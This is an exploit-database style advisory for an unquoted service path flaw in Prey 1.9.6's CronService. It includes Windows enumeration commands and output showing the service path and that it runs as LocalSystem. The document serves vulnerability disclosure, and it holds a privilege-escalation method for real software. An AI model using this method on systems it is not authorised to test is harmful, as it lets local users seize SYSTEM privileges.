46 lines
No EOL
1.4 KiB
Text
46 lines
No EOL
1.4 KiB
Text
# Exploit Title: Prey 1.9.6 - "CronService" Unquoted Service Path
|
|
# Discovery by: Ömer Tuygun
|
|
# Discovery Date:16.10.2020
|
|
# Vendor Homepage: https://preyproject.com/
|
|
# Software Link: https://preyproject.com/download/
|
|
# Tested Version: 1.9.6
|
|
# Vulnerability Type: Unquoted Service Path
|
|
# Tested on OS: Windows 10 Pro x64 es
|
|
|
|
# Description:
|
|
A successful attempt would require the local user to be able to insert
|
|
their code in the system root path undetected by the OS or other
|
|
security applications
|
|
where it could potentially be executed during application startup or
|
|
reboot. If successful, the local user's code would execute with the
|
|
elevated privileges
|
|
of the application.
|
|
|
|
|
|
|
|
C:\Users>wmic service get name, pathname, displayname, startmode |
|
|
findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Prey" |
|
|
findstr /i /v """
|
|
Cron Service
|
|
CronService
|
|
C:\Program Files (x86)\Prey\wpxsvc.exe
|
|
|
|
|
|
|
|
Auto
|
|
|
|
C:\Users>sc qc CronService
|
|
[SC] QueryServiceConfig SUCCESS
|
|
|
|
SERVICE_NAME: CronService
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : C:\Program Files (x86)\Prey\wpxsvc.exe
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : Cron Service
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
C:\Users> |